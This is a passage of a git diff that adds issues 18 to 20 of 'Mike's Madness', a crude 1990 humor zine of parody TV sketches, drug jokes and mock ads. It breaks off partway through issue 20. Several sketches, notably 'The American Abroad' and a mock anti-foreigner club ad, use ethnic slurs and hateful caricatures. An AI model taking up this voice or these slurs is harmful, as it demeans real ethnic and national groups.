-- The bad boy of the Newsroom, the renegade reporter +that gave us Fear and Loathing, Great Shark Hunt and A Generation of Swine +now tells all in "I used a lotta drugs and now my brain's fucked up". +It's sure to be at the top of some booklist, somewhere. + +Panama's General Manuel Noriega -- "What happened to this dude's face?" +We talk to a trauma surgeon, an Army wounds expert and John Merrik as we try +to uncover the story behind the Face of Sandpaper. + +All this, and some dude who wishes he was Andy Rooney on. . . + +THE REPORTERS (TAPPA TAP TAP TAPPA TAP TAP TAP) + +And now back to Cops. . . + +---------------------------------------------- +10:30 P.M.: ROUTINE ENCOUNTER WITH JASON LUNDY +---------------------------------------------- + +Cop: "Yep, spend a lotta time out on this here road. Gotta lotta nasty wr... + Hey Charlie, how fast you say that Ford Falcon up there's doin'? + Hun'red-five? Lez gittim! Hit the lights, Charlie!" + +[BWWWWWEEEEEEEEUUUUUUUUUUUUUUUUUUUU------------BWWWWWWWEEEEEEEEE] + +Cop: (pulls up alongside the Falcon) "Pull ovah there, boy!" + +(Guy driving the Falcon leans out the window and smiles.) + +Jason: "FUCK YOU PIG!" + +Cop: (like Yosemite Sam) "OOOOOOOOOOOOOOOOOOOOO! It's that goddamn + Jason Lundy!" + +Jason: "UP YOURS OINKER!" + +Cop: (On loud-speaker) "PULL OVA THERE, YOU SONOFABITCH!" + +Jason: "EAT SHIT!" + +Cop: "BOY! WATCH YER LANGUAGE! WE GONNA BE ON TV!" + +Jason: "I'LL GIVE YOU FUCKERS SOMETHING TO FILM!" + +(Stomps the gas, slams into first and nails the nitrous at the same time, +and does a standing launch of 9 feet, hits the road doing ninety miles an +hour, ramps off the Calvine Road overpass, sails over a low-rider, hits +the ground and then spins seven complete power doughnuts and straightens out +into a 1,500 foot burnout.) + +Jason: "And I never even came CLOSE to second!" (flips off cop and squeels + into the night.) + +Cop: "...sumbitch ..." + +(fade) + + --------------------- +Next time on MARRIED WITH CHILDREN! + --------------------- + +The Bundy's all die and go to Hell! + +Al: "Hon, this place smells just like your snatch!" + +Peg: "Oh Al, I love it when you talk dirty!" + +Steve: "You just HAD to take interstate 880, didn't you Al? Get to the + airport quicker, you said. . ." + +Al: "But at least that 400 tons of falling concrete killed Marcy first! + Hey, where is Marcy, anyway?" + +Steve: "In Heaven, Al, where I should be. But your hooker friend spoiled + that!" + +Al: "She wasn't a friend, Steve! She was my daughter!" + +Hellzapoppin' on the next episode of. . . + +MARRIED WITH CHILDREN + +(Sponsored by Tampex scented tampons. This month's new scent: Garlic Bread) + + +REALLY AWFUL EXPERIENCE, LTD. + + -(in conjunction with)- + + SLATER-NAZI TRAVEL, LTD. + + Pre-sentssss + + (*dump-da-da-ta!*) + +Travel for the QUEASY! (ltd.) + +This month featuring. . . + +------------------------ +Ralphing through Russia! +------------------------ + +(12 pound 8, no rubber checks or we'll give ya wot's comin') + + Puke through Petrogard! Gush in Gorki! Spew in Stalingrad! It's +long, winding roads up the sides of cliffs all the way through the +crumbling throne of Communism. Our busses are always kept a balmy 98 +degrees for your comfort, even when it's 115 in the shade outside! + + All lunches courtesy Ron's House of Heavy, Oily Food. Known throughout +the Soviet Union as "truly horrible", Ron's Exxon Chicken has turned many a +meal into an adventure in gastric pain! And Pravda rated his Oilshake as +"slightly better than having your head slammed in a door." + +[Cut to Mr. D.P. Gumby standing in a field] + +Gumby: "But I LIKE 'avin' me 'ead slammed in a door!!" + ---- +[Cut back] + + So come with us on a repellent romp across one of Europe's great +wastelands and visit a country the Michellin Red Guide calls "Wholly worth +missing". . . +%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-% + + Come Ralphing through Russia! + +%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-% + + + I had a dream. + A horrible dream: + I was at work. + I won't tell you where I work, lest a memo come down from HQ that says: + + "To Mike's Boss: + Shitcan this boy, wouldja? He makes our Sunneyvale clients nervous." + + But, uh, yeah. Okay, I had this dream. I was at work, ETC., and a + customer walked in: + + "Hello sir, can I help you?" I asked. + "I bought a II GS here about a month ago. . ." + "You have my sympathy, sir," I apologized. + "A-hem. Yes. Anyway, it seems to have quit working. . ." + "And you're SURPRISED?!" I asked in amazement. + "A-hem! What do you suggest I do about this problem?" + "I suggest you put your machine at the service window," I suggested. + "Do you get a lot of this?" he asked. + "What? People going to the service window? Yeah, but it's only the + II GS owners." I replied. + "AH-HEM! I just might take my business elsewhere!" + "God, I wish Apple would. . ." + + And he walked out. + + And in walked Harry Bawls, the local Apple Rep. + + "Whazzup slimebag?" I inquired. + "Boy," he said in a voice remarkably similar to W.C. Fields, "You + bother me. Get away! Get away!" + "So what twisted mission from the Masters of Sunneyvale lured you + out of whatever bar you were hiding in and brought your vile presence + into this here store?" I asked, always polite. + "You are an insolent young man!" he fumed. + "How come your breath smells like seven Martinis?" I asked. + "Look boy, I got something for ya 't sell. . ." + "I hope it's a bullshit detector, not that I would need one with you." + "You are an annoying lad!" + "Nevermind Harry. What have the Masters of Sunneyvale mistakenly released + this time?" I asked nervously. + "Okay, we got this idea from Radio Shack. It'll get us a bigger share of + the home market. Are you ready for. . ." + "I'm scared, Harry. What Crime Against Humanity are you guys gonna push + now?" + "II GS: The Next Generation!" + "You MUST be outta your fucking mind!" + "No! Look! It's a GREAT concept! Helpful (and beloved) characters from + Star Trek, The Next Generation, help the user. . ." + "Don't you mean 'the used'?" + "(A-hem) around in the computer. And we'll plaster **Star Trek, The Next + Generation** all over it. Tie in with the show, ya know? Anyway, I + got one here T' show ya. . ." + "DON'T OPEN IT IN HERE! YOU'LL STINK UP THE WHOLE GODDAMN STORE!" + "Silence lad, they only go off on disbelievers . . . See here? (points) + There's Commander Data with an interesting II GS fact. See what it says?" + "I can't read the text because the monitor's all screwed up, but it + looks like our helpful (and beloved) Commander Data is currently + giving you the finger." + "That little bastard is! It must be a virus!" + "A virus would die of boredom in a II GS, Harry . . . HEY! WHAT'S + THAT HORRIBLE SMELL?!" + "It went off!" + "CHRIST WHAT A REEK!" + + So then I ran into the back, leaving several customers to their fate, +and got the "Only to be used in event of Apple Rep. visit" case open and +pulled out the gas mask (the kit also contains hip-boots and a shovel) +and crawled out the nearest window and waited until the smell was sucked +out after a few days by a DC-10 engine mounted to the front of our +store. + + Moral: This is another good reason not to smoke three joints before + you go to bed. + +---------------------------------------------------------- +TOP 10 REASONS NOT SMOKE THREE JOINTS BEFORE YOU GO TO BED +---------------------------------------------------------- +10. Mike's dream. + 9. Your underwear will get wet and sticky. + 8. Pete Rose wouldn't. + 7. A hit of acid is better. + 6. Nancy says to just say "No". + 5. Those dreams where you're just about to get laid and then you wake up. + 4. Hair on the palms. + 3. Your breasts will shrink. + 2. Masturbation is more fun. + 1. Reason number 9 was enough for me! + +(Sorry Dave, I caved into the pressure.) + + + And now on BBC-2, Wide Wide World of Bastards. + [*click!*] + + Hello! Hello and welcome to: + + Wide Wide World of Bastards! + + "Tonight we'll be meeting some complete bastards. With us this evening +is Ken from Kent. His neighbors know him as a drunkard and embarrassment to +the community, but to us, he's just another bastard. Welcome Ken from Kent!" + + "Up yours!" + + "Ken, what is it that makes you such a total bastard?" + + "Well, I started out fartin' in front of Royalty. Y'know, blowin' one +off while you're shakin' 'ands with Prince Phillip. That sorta thing. Then +one day I let off while I was talkin' to Princess Anne and she said I was a +real bastard. That's when I knew I had what it takes to become a complete +bastard." + + "And then?" + + "Next I moved up to kickin' old ladies, yelling degradations at German +tourists, masturbatin' durin' 'God Save the Queen'. . ." + + "You ARE a right bastard!" + + "My point exactly." + + "The folks in Kent must be mighty proud of you." + + "Fuck the lot of 'em. . ." + + "Thank you for being on our show." + + ". . .and you too!" + + +And now a few words from 'arry Butler. . . + + OI! OI! Come back 'ere ya basta'd! ROIT! Fire up the P-51 and get me +a few pints of bleedin' Foster's! COME 'ERE YA COCKSUCKER! Blimey. . . + + OH! 'ello! Didn't see ya readin' this. T'day we're afta the Incredibly +Bloody Rare Australian Dinglebird. It's the little basta'd wot saw me comin' +and took off. YA BASTA'D! Come. . . + + B L I M E Y ! + + [mmmmmmmmmmmMMMMMMMMWWWWWWWWWAAAAAAAAAHHHHHHHIIIIIIIIIEEEEEEEEE!!!!!!!] + + 'e's got a bloody Stuka! DIVE FOR COVER MOITS! + + [MMMMRRRRRRRRAAAAAAWWWWWWWWWWWWWW!] + + OI! I'll bleedin' well get ya for that, you 'orrible drippin' from a +cow snatch! + + [THUD!] Fizzzzzzzzzzzzzz. . . + + I DROPPED ME BLEEDIN' FOSTER'S!!! + + BLIMEY! + + B L I M E - E E E ! ! ! ! + +----- +(C) 1990 Yucks For You, Inc. + diff --git a/textfiles.com/magazines/MIKE/mike18.txt b/textfiles.com/magazines/MIKE/mike18.txt new file mode 100644 index 00000000..e048c9dc --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike18.txt @@ -0,0 +1,268 @@ +Mike's Madness #18 + +And now . . . + +# 23: A bit for urologists + +Two Songs for Urologists: + +Pee for Two +Urine the Money + + +There will now follow a rebuttal by the Conservative Party: + + 'oo is responsible for this crap?! 'Songs for Urologists' + + INDEED! + + The Very Butch Maggie Thatcher, P.M. + +And now . . . + +--------------------- +American History Hour +--------------------- +With your host, the very violent Mr. D.P. Gumby! + +Good evening Fred! + + Tonight I shall entertain you by explainin' Columbus' discovery of the +New World while 'ittin' meself in th' 'ead wif a brick! + +Good evening Fred! + + Columbus, wot was a dirty Portegee bastard, got sodden at the 'Get On Inn' +and stole three ships! + +[POCK!] + + THE GREAT SOT! + +[SMACK!] [WHAP!] [CRACK!] [THUMP!] etc... + +. . . And now on BBC 2 + + Do you live in Iseley? + + (old crone): "I do!" + + And do you like foreigners? + + "NO! Not a bit!" + + Perhaps YOU should join the Iseley 'I Hate Bloody Foreigners' Club. +Every week we go out and put the boot to dirty foreigners what spoil the +beauty that is forever England. You too can torment wops, eye-ties, +froggies and other assorted scum by setting their homes afire, letting +down their tyres and throwing dead dogs through their windows! + + "Oooh! That sounds like fun! How do I join?" + + Just drop 50,000 quid in an envelope and send it to: + + God I Hate Bloody Foreigners! + c/o Maggie Thatcher + 10 Downing St. + London, England. + + (Not affiliated with the Greater Britain Nazi Party) + + + + Look! + Rummaging through your stash! + It's a nark! + It's a CAMP Agent! + (same thing) + + Nooooooooooooooo. . . + + IT'S! + + (Cue Liberty Bell March) + + M O N T Y P Y T H O N ' S F L Y I N G C I R C U S ! ! + + No! It's not that, you great twit! + + IT'S! + + - - - - - - - - - - + ---> B O G A R T M A N ! <--- + - - - - - - - - - - + Faster than a crack addict ripping off your house! + More powerful than a German's armpit! + Able to suck down an entire 8'th of your best greenbud in a single hit! + + It's BOGARTMAN! + +(Two stoners in an alley) + +"Hey bud, gotta joint?" +"Yeah, this is the last of that pound of killer scents my brother brought +back from Humbolt!" +"KILLER! Spark it, dude!" + +(whips out a hefty ol' bomber and lights it) + +*WHOOOOOSH!* + +(Dude in flaming red tights lands next to the duo) + +"HEY! It's BOGARTMAN!" +"Oh nooo maaaaan. . ." + +Bogartman: "Good citizen, let me sample that healthy spliff so that I may +determine if it's been contaminated by Paraquat!" + +"Oh hey, they don't use that stuff any . . . HEY! Gimme that joint back, man!" + +"Never fear, good citizen, I'll only take a small hit. . ." + +TFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF-FF-FF-FF-FFFFFFFFFFFFFFFF +FTFTFTFTFTTFTFTFTFTFTFTFTFF-FFFTTFFTFTFTFTFF-FFFFFFFFFFFFF-F-F-F- +F-F-F-FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFTPH! + +"Oh hey man, you could have at least left us a ROACH!" + +"Rest easy, Citizen, these ashes are wholly uncontaminated!" + +"Oh thanks, man. . ." + +"I must go now, Citizens. My Brother-in-law just scored some 'shrooms. +I must pay him a visit! All sortsa bad 'shrooms goin' around!" + +(1 week later: same stoners, same alley) + +"Hey man, that's a killer bong!" + +"Yeah, too bad I don't have anything to smoke. . ." + +"Dude, I gotta ball of some Turkish hash my Poli Sci teacher snuck outta +Istanbul! Two hits'll get you totally fucked up!" + +"Pack it, dude!" + +(packs this huge ball of hash into the tiny bowl) + +*WHOOOOOOOOSH!* + +"Oh NO!" + +"Citizens, it is I, Bogartman! Dirty bongs are a breeding ground for +harmful bacteria. Let me clean that for you!" + +"No way man, you ain't gettin' this . . . HEY! Gimme that back!" + +"The first thing I must do is burn off all this excess hash in your bowl!" + +(One 15 minute long bong hit later. . .) + +"There you are, Citizen, a clean bowl!" + +"You FUCKER! You just inhaled my entire hash ball!!" + +"No need to thank me, Citizen. It's all in a day's work for BOGARTMAN!" + +(Same alley, same stoners: One week later) + +"Hey dude! Whazzup? Whaz in the bottle?" + +"It's 450,000 mics of liquid LSD, man. Cost me 7 paychecks, but I'm gonna +get even with that damn Bogartman . . . Oh LOOK! I have this HUGE BOTTLE +of VODKA! Too bad BOGARTMAN isn't here to share it! I wonder where +BOGARTMAN is?! It would be a shame to let all this VODKA go to WASTE!! Oh +where ever could BOGARTMAN be?!?! (Where the hell is he?) OH . . ." + +"Hey dude, it's the COPS!" + +"oh-oh. . ." + +(officer walks up) + +"Whaddaya got in the bottle, buddy?" + +"Uh, it's, uh, BOTTLED WATER! YEAH! bottled water . . . uh-huh. . ." + +"Well it looks like vodka to me and drinking on public streets is illegal. . ." + +(cop grabs bottle and smashes it on the street) + +". . . but I'll let ya off with a warning this time! HAHAHAHAHA!" + +*WHOOOOOSH!* + +Cop: "Who the hell are you?!" + +"Stout law enforcement officer, I am Bogartman! And this man licking the +pavement here is my friend! Just last week he let me smoke some of his +killer hash. . ." + +(breaking out handcuffs): "Zat so?" + +". . . and the week before he let me smoke his last joint!" + +Cop: "Thank you, good citizen. . ." (slaps cuffs on hippies) + +Bogartman: "No need to thank me! It's all in a day's work for BOGARTMAN!" + +You can read the further adventures of Bogartman, and his faithful +companion Freeloader in True Tales of Dope! Published by DC (Dope Comix). +Remember, only dopes believe that idiotic three-word phrases will actually +accomplish anything! + + +The American Abroad . . . + + "Hey, here we are in India and LOOKITHAT! Damn! There sure are +alotta HINDUS around here! HEY! COME ON AND MOVE IT, YOU RAGHEAD +BASTARD! Fuck! WHOA! Thereza fuckin' COW in the middle of the street! +[SCREEEEEmmooooOOOTHUMP!EEEETCH!]. Awdamnit! Hey! HEY! Which one of +you hindis own this here cow?! HEY! HEY!! Don'tcha understand ENGLISH?! The +English OWNED yer fuckin' country! Gawddamit! Hertz is gonna charge me +BUCKS for this! Aw shit . . . Oh hey . . . There's gotta be a good $700 in +steaks on that bastard! Where's that damn German survival knife? Here we +go! Start on the flank here . . . WHAT?! What the fuck are YOU yellin' +about?! If this was yer fuckin' cow, ya shoulda SAID something about it! +Damn! Aw screw it, I gotta take a fuckin' leak. + "I'll just piss over here in this river. LOOKOUT BELOW! Here buddy, +lemme dye that turban for ya! Hawhawhaw . . . Ganges WHAT?! Ganges THIS +you mutherfucker!!! Izzat your cow I'm pissin' on? Well ya oughta git +yer fuckin' cow OUTTA the river, then people won't PISS on it, you stupid +poverty-stricken mewler! + "I think ya got that fez wrapped a little too tight there Ghandi! +WHAT?! HEY!!! I understand 'FUCK YOU' no matter WHAT language it's spoken +in! See this, you little third-world bastard?! Itza LUGER! Germans made +it, and if anyone knows about killin' people, it's the fuckin' KRAUTS! So +I advise you to apologize in whatever way deemed fit lest I add one more +rider to the Wheel of Karma! Lookit that old whore over there! HEY +BITCH! HEY! You wanna wrap them ol' dried lips around THIS?! You ever +seen a cobra spit? Just like it . . . you're Mother WHO? Oh yeah? +Big fuckin' deal for YOU! And I'm Daddy Warbucks! Hawrhawrhawr . . ." + + Comin' next time: + +Bogartman vs. 18 pounds of YOUR best weed! +An American in Africa! +Nancy Reagan: The Mouth that Roared! +Ronald Reagan: The Mouth that Snored! +Donald Regan: The Mouth that Bored! +John Tower: The Mouth that Scored! +Hunter S. Thompson: The Mouth that Gored! +Dan Quaile: The Mouth that was Ignored! +Jessica Hawn: The Mouth that Whored! + +All this and some dude who wishes he WASN'T Andy Rooney (heh heh heh) next +time on . . . + +Mike's Madness! + +(Mike's Madness is a public affairs program of this Unix node. The views +represented here are not meant to be confused with those of someone with +common sense. + +Thank you. +----- +(C) 1990 Yucks For You, Inc. + diff --git a/textfiles.com/magazines/MIKE/mike19.txt b/textfiles.com/magazines/MIKE/mike19.txt new file mode 100644 index 00000000..164821c4 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike19.txt @@ -0,0 +1,436 @@ +Mike's Madness #19 + +This is Steven Tyler of Aerosmith and you're reading Mike's Madness no. 19! + +OWW! + +(Note: Steve Tyler didn't REALLY endorse this edition of Mike's Madness. +He's never even HEARD of Mike's Madness. He's never read it, or read of it. +Just because HE'S famous and I'm a total nobody doesn't give him the right +not to read my stuff and ignore my threatening telegrams! THE BASTARD! THE +COMPLETE BASTARD! ARRRGH!) + + + And now . . . + + +BrrrBrrr BrrrBrrr BrrrBrrr . . . + +[CLICK!] + +"Good afternoon, Isley POST. Can I help you?" +"Yes, this is Mr. Meatbeater. Why hasn't my photo been run?" +"Because there's no interest in a photo captioned 'My Dog looks like Adolf + Hitler'." +"And why not?" +"Because he doesn't." +"He does! He does!" +"Mr. Meatbeater, if there's anything in the universe that looks less like + Adolf Hitler than your dog, science has yet to discover it." +"But what about the moustache?!" +"Ah yes -- the moustache. We took the liberty of examining it and + discovered it was not a moustache, but half a shellacked dog dropping + which you attached to your dog's nose with a roofing staple." +"Be fair! The glue wouldn't hold -- too much moisture. . ." +"Regardless of how it was attached, we are not running your photo because the + citizens of Isley have no interest in a dog that looks like Adolf Hitler, + especially when it doesn't." +"That's just your opinion! Many people have told tale of how eerie the + resemblance between my dog and the late Chancellor Hitler is!" +"We figured you'd put forth that hypothesis, so we tested it beforehand. + We went out with a picture of your dog and several other file photos and + asked people which one looked the most like Hitler. The vote for your dog + was quite low." +"How low?" +"None." +"I can't believe that!" +"I counted the votes twice." +"Well you've seen the photo! YOU must admit the resemblance!" +"Sir, the only reason there is any 'semblance in that photo is because you + re-touched it with a black Crayola. It's a crafty ruse, I admit, but one + our readers are sure to see through." +"Blimey! The photo must have generated some interest!" +"It did. The R.S.P.C.A. was quite interested, as they are in any photo of + a German Shepard with a turd stapled to it's nose, the word HITLER shaved + into its back and a Nazi flag sticking out of its ass. . ." +". . . oh bloody hell!" +"In fact, they were so interested in your dog that they insisted we give + them your address, which we did gladly. They should be by any time now. . ." +"Uh . . . Well . . . uh . . . I must be going now! Cake in the oven, you know!" + (sound of knocking at the door) "Keep the photo!" (sound of door being + broken down, dog starts barking) "Cheerio!" + +[CLICK!] + +Next week in the Isley POST: + +Strange Resemblances! +--------------------- +A cat that looks (nothing) like Benito Mussolini! +A dolphin that was (never) mistaken for Joseph Stalin! +A stoat that has (no) resemblance to Kaiser Wilhelm! +Dan Quayle and a Horse's Ass: Can YOU tell them apart? (not bloody likely) + + +. . And now on BBC-2: + +(occasionally) + + - - - - - - - - - - - - - - - +I N T E R E S T I N G P E O P L E + - - - - - - - - - - - - - - - + +"Good evening and welcome to Interesting People! And tonight, we have +many interesting people on our show, the first of which is Ron Plots, +a council fox catcher in North Hampton! Welcome Mr. Plots!" + +"Good evening, Fred!" + +"Mr. Plots, how do you catch foxes?" + +"Well, I bait a trap with a dead chicken, and when the fox comes into the +trap, the door closes in behind him, thus immobilizing the little bugger!" + +"And then?" + +"I stick me tongue up its. . ." + +[cuts in quickly] "Well that's very nice, but unfortunately, Mr. Plots +must run off on some very important business! Thank you for being here +Mr. Plots." + +"No I don't!" + +"Yes you do. . ." + +"I don't!" + +"Hit the road, Plots!" + +"Blimey! I'm not puttin' up with this kind of abuse!" + +"Get off the stage, you great sod!" (two men come out and drag him off) + +"Ha ha . . . What an interesting person! Next we have Mr. Marcel Dubois, +author of 'Germans: A Complete History of the Bastards'. . ." + +Dubois: "Good evening, mon ami!" + +". . .and Mr. Frederick Von Rickenback, author of 'The French and How to +Beat the Holy Living Shit out of Them'." + +Rickenback: "You die, froggy!" + +"And tonight they'll be discussing German reunification. Mr. Von Rickenback..." + +**BANG!** + +". . .Well, I'm afraid since you've shot Mr. Dubois, we'll have to award +the debate to you." + +"Deutchland Uber Alles!" + +"Uh-huh. . ." + +"Tomorrow the World!" + +"Sure. . ." + +"Authentic piece of the Berlin Wall, 50 marks or $25 American!" + +"Now That's more like it!" + + + And now . . . + +No. 18: A scene from the 13'th Century + A scene from the 13'th Century + +"'Oly Relics! Get your 'oly Relics 'ere! Oh, 'ello there Abbot Blackadder! +Wish to buy an 'oly Relic?" + +"Common scum, what sort of relics might you be selling?" + +"Uh . . . got wood from the Cross, hair from John the Baptist, that sorta +thing. . ." + +"Hmmmm. I already have all of those. Got anything else?" + +"I got the foreskin of our 'oly Father." + +"Now THAT'S interesting! How much?" + +"5,000 quid for one, or 8,500 for two. . ." + +"TWO?!" + +"Uh yeah, that's right . . . one of the Unmentioned Miracles." + +"And which Unmentioned Miracle might this be?" + +"The Miracle of the Two Dongs." + +"Are you suggesting that Our Lord is built like a Swiss Army knife in the +genderative sense?" + +"A bit. . ." + +"Funny, that's exactly how much brains I give you credit for." + +"Look, I gotta fob these foreskins off on someone!" + +"UH-HUH! And does the word 'heresy' mean anything to you?" + +"Abbot Marlow at Westminster bought two. . ." + +"THE BASTARD! 'e ALWAYS gets the good stuff! Right! I'll take the same!" + +"8,500 quid, sir. 'Ere you are." + +"Thank you, my good . . . uh, whatever you are." + +"My pleasure, sir." + +"WAIT A SECOND!" + +"Yes sir?" + +"One of these is black!" + +"Uh . . . that would be another one of the Unmentioned Miracles." + +"Funny, I've never heard of these Unmentioned Miracles before. . ." + +"That's because they're unmentioned." + +"Much like your intelligence. Where, praytell, can I find mention of these +Unmentioned Miracles?" + +"The Book of Clyde." + +"The Book of CLYDE?!" + +"'e was one of the Unmentioned Prophets." + +"And you're about to become a victim of the Unmentioned Kick in the Groin!" + +"Such gratitude after I sold you two good foreskins!" + +"The only thing 'good' about these foreskins is that they're all the evidence +I need to shove a bushel of burning faggots up your bum! Now I suggest you +come up, with all possible speed, evidence that these foreskins did in fact +belong to Our Holy Father and are not just stripped from some poor Turkish +bastards you caught in the middle of a drunk!" + +"I got it right 'ere! A letter confirmin' their originality!" + +"Let me see that. . . + + Dear Sir, this letter is to confirm that these 10 (crossed out) 8 +(crossed out) 6 (crossed out) 2 foreskins are in fact mine and not just +stripped off some poor drunken Turkish bastards. Signed, Jesus Krist." + +"All the proof ya need, Abbot!" + +"All the proof I need to have you burned at the stake! I thought Our Lord +would be a bit better in the spelling department. . ." + +"Maybe he was in a hurry!" + +"Maybe this isn't His writing at all, but that of some poor little sot +who's about to be pitched into a cauldron of boiling oil!" + +"Are you castin' discretions on this letter wot took me almost five whole +minutes to write?" + +"Yes. ." + +"Oh, that's alright then." + +"I'm afraid that you must suffer horribly for your crime of fobbing off +semi-authentic (read that as 'wholly fraudulent') religious artifacts." + +"What's that then? Burning at the stake?" + +"No. . ." + +"Boiling oil?" + +"Nope." + +"I've gotta read the next bit?" + +"Bingo!" + + And indeed, it was truly horrible fate. More than Steven Tyler could +EVER take (if he read this stuff, which he doesn't and probably for a very +good reason). God it was terrible! Just nauseating. Wholly repugnant. +Well, see for your self. . . + + + And now it's a good time for. . . + +(Umm, before I start this, I should +really let ya know there's almost +no "good" time for this at all. It'll +be poor in the morning and it'll be +poor in the evening. In fact, the only +time it won't be poor is when you've +burned five good joints and inhaled +some amyl. Then it'd be passable. + + Just thought I'd let ya know that.) + + + A . L . F . + + (Australian Life Form) + + (Oh gawd) + +Whiney Willy: "Hooooooonnnnnneeeeeey, where's AAAAAAAAAAAALLLLLLLLLLLFFF?" + +(John Cleese stomps in drunk, dressed in full Australian garb: Shorts, +a hat with corks dangling from the brim; that sorta thing.) + +ALF.: "OI! Me name's not ALF, ya basta'd!! It's BRUCE!" +W.W.: "Sorrrrry Brrruuce. Where have you been?" +ALF.: "I' been a'chunderin' on the Abbos' lawn!" +W.W.: "You didn't spew on the neighbor's lawn AGAIN?" +ALF.: "They're only bleedin' Abbos!" +W.W.: "They're the Huxables, you twit!" +ALF.: "OI!!! 'oo you callin' a 'twit' then, aye?!" (Jumps into fighting stance) +W.W.: "Calm down, ALF. . ." +ALF.: "BRUCE ya cocksucker!" +W.W.: "Bruce. . ." +Kate: (from off camera): "Willlly? Willy, what happened to those three cases + of Foster's we brought home 10 minutes ago?" +ALF.: "Blimey! I'm 'ad!" +W.W.: "You drank THREE cases of Foster's in TEN minutes?!!" +ALF.: "Well . . . BLIMEY! It's only 8:30 in the morning, in't it?! + The real drinking don't get started 'til NINE, ya whiner!" +W.W.: "Ummmm AL . . . uh, Bruce, I think it's time we discussed household + expenses. Last month we had: + + Phone: $25.00 (Willy should learn to phreak!) + Water: $10 + Electricity: $56 + Gas: $15 + House and car payment: $3,900 + + and . . . + + FOSTER'S: $8,471,259.15 (at least)." + ------------- + +ALF.: "It's thirsty work, chunderin' on an Abbo's lawn, ya wheeze!" +W.W.: "What about the time you traded in our car for a sheep?!" +ALF.: "Ya can't fuck a Buick then, can ya?!" +Lynn: "He's got a point dad. . ." +ALF.: "OI! oo's the Sheila?!" +W.W.: "That's my daughter, you stinkin' Aussie! Go play with your sheep!" +Kate: (still from off camera) "WILLLY! The cat's been shot!" +ALF.: "Blimey! I'm 'ad again!" +W.W.: "You shot LUCKY?!" +ALF.: "'e didn't live up to his name then, did 'e?!" +Kate: (still off camera, but a few steps to the right of where she was last) + "And there's a huge pool of vomit on the back porch!" +W.W.: "Getting sick on the Huxable's lawn I can understand, but why'd ya + have to puke on MY porch!?" +ALF.: "It's me scale model of Lake Regurgitation! Reminds me of home. . ." +W.W.: "You have a vomit-filled lake at home?" +ALF.: "Ya, it's right in back of The Heave and Spill Bar & Grill in + Queensland. . ." + + + Dear Sirs! + + We here at the Australian Board of Tourism would like to inform the +readers of this column that there's more to Australian life than drinking +lots of Foster's and then spewin' it back up again. There's cricket, +rugby, and lookin' up Sheilas' skirts. Roit good fun, that! Not to mention +the ever-popular havin' one off with a sheep! + + Uh, Pardon me. . . + + [glug-glug-glug . . . BRRRRAAAAAAAAALLLLLLLPH! {gush gush gush}] + + +Old Crone 1: "Eeeewww! That's DISGUSTIN'!" +Old Crone 2: "Right in the middle of such a nice letter, too!" +1: "They shouldn't let Aussies on the telly, you know." +2: (surprised) "Oh?" +1: "Yes, they cause too much trouble!" +2: "Mrs. Flatulence saw an Aussie durin' the Blitz!" +1: "BLIMEY!" +2: "It was 'orrible!" +1: "Wot? The Blitz?" +2: "Noooooo, seein' the Aussie!" +1: "Wot ever did she do?" +2: "SHE SHOT 'IM! She shot 'im DEAD! Said a Stuka's wot done it!" + +(cut to German pilot standing in front of a Stuka) + +Pilot: "Ess beeg lie!!" + +(cut back to old crones) + +1: "Did the fuzz believe it?" +2: "Naaw, they executed her the next day." +1: "THAT'S A BIG LIE!!" + +(cut back to Stuka pilot) + +Pilot: "Told ya!" + +(cut back to old crones) + +2: "IT ISN'T!" +1: "I saw Mrs. Flatulence at the shops on Tuesday! 'ow could she be at the + shops if she was executed durin' the war?! My case is assuredly air-tight!" +2: "BLIMEY! I'M 'AD!" + +(door comes crashing down and in stomps John Cleese, Australian at Lager +. . . err, Large.) + +ALF: "MOMMY!" + 2: "BRUCIE! Brucie's come back from 'stralia where 'e's been fondling + sheep!" + 1: "Nice money, that, 'eh Brucie?" +ALF: "No mum! I'm livin' with some idiot family in L.A. now! Come 'n join + us then, aye? Free Foster's!" + 2: "Can we go a-chunderin' on Abbo's lawns?" +ALF: "All we want, Mum!" + + And so the happy family staggered off to L.A. where the immigration +laws aren't as well enforced and where even Steven Tyler could find a +menial job. That was until the next bit. . . + + +FECAL SOFT pre-sentssssssssss . . . + + T U R D - P E R F E C T ! + +It's a word processor! +It's a laxative! +It's Turd-Perfect! + + Not just any shitty software package! Turd-Perfect does graphics, spell +checking and keeps you regular! Personally endorsed by Dan "Shit for +Brains" Quayle! Perfect for the up-and-coming Republican. Used to write +Ronald Reagan's speeches! God it's swell! + +(available only on Macintrash) + +Remember: Only dopes use GUI! +----- +(C) 1990 Yucks For You, Inc. + +Comments & Flames to Author: + { ucbvax | uunet }!ucdavis!spked!sactoh0!smb (Mike Beebe) + +Mailing List Requests: smbancroft@ucdavis.edu (Steven Bancroft) + +All Back-issues are available by E-mail request from smbancroft@ucdavis.edu +or by anonymous ftp from bikini.cis.ufl.edu [128.227.224.1] in directory +/pub/mikesmad. diff --git a/textfiles.com/magazines/MIKE/mike20.txt b/textfiles.com/magazines/MIKE/mike20.txt new file mode 100644 index 00000000..b2f54ad2 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike20.txt @@ -0,0 +1,372 @@ +Mike's Madness #20 + +----------------------------------------- +Coming soon from Schlockmeister Pictures! +----------------------------------------- +It's Fast! + +It's Furious! + +It's Foul! + +-- It's! -- + + = S M O K E Y A N D T H E B A N D I T = + (part 8) + +"Burt Reynolds drinks a lotta beer and drives like an asshole!" + +WITNESS! + +* A midget break wind for twenty-three seconds! A new North Carolina record! + +TPPPPPPBBBBBBBBBPBPBPBPBPBPBPBPBBBBBBBBBbbbbbbbBBbbbbbbBBBbbbbbbBbbBbbbb +BBbBBBBBBBBPPPPPPPPPPPPPPPPPPpTpTpTpTpTpTPPPPPBPBPBPBPBPBPBBPPPPPPPPPPPPP +tBBBtBBBBBtBBBBtttBBBBtBBBBtBBBtBBBBBBBTT! + +Yeeeewww-EEE!!!!!!!! Yo' sho' did slice that one thick! Roll down a winder! +Awdamn! I'm gonna choke! Roll down th' damn winder! It must be a hun'red 'n +fifteen in here! Open a door an' dissipate that mother! GAW-DAMN! If yo' +sick, go t' th' hospital! DAMN! It smells like you SHIT! Hey -- why you +squirmin' so much? + +HEAR! + +* Jackie Gleason 